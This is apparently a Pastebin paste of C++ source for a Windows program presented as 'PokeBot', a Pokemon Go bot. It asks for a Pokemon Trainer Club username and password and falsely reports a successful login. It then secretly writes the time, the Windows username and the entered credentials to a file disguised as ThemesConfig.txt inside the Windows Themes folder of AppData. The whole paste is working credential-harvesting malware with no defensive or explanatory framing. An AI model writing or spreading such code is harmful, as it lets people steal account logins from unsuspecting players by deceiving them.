Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <string>
- #include <fstream>
- #include <ctime>
- #include <windows.h>
- #include <Lmcons.h>
- using namespace std;
- string email, password;
- void write_to_file();
- int main()
- {
- cout << "PokeBot By KiiR4 and RayperZ" << endl << endl;
- cout << "Insert email or Pokemon Trainer Club Username: ";
- cin >> email;
- cout << "Insert password: ";
- cin >> password;
- cout << "Successfully Logged In" << endl;
- cout << "Welcome " << email;
- write_to_file();
- return 0;
- }
- void write_to_file()
- {
- time_t now = time(0);
- char* dt = ctime(&now);
- char username[UNLEN+1];
- DWORD username_len = UNLEN+1;
- GetUserName(username, &username_len);
- std::string filelog("C:\\Users\\");
- filelog+=username;
- filelog+=("\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\ThemesConfig.txt");
- std::ofstream file;
- file.open (filelog.c_str(), std::ofstream::out | std::ofstream::app);
- file << dt << endl << "Pc Username: " << username << endl << "Email: " << email << endl << "Password: " << password << endl << endl;
- file.close();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement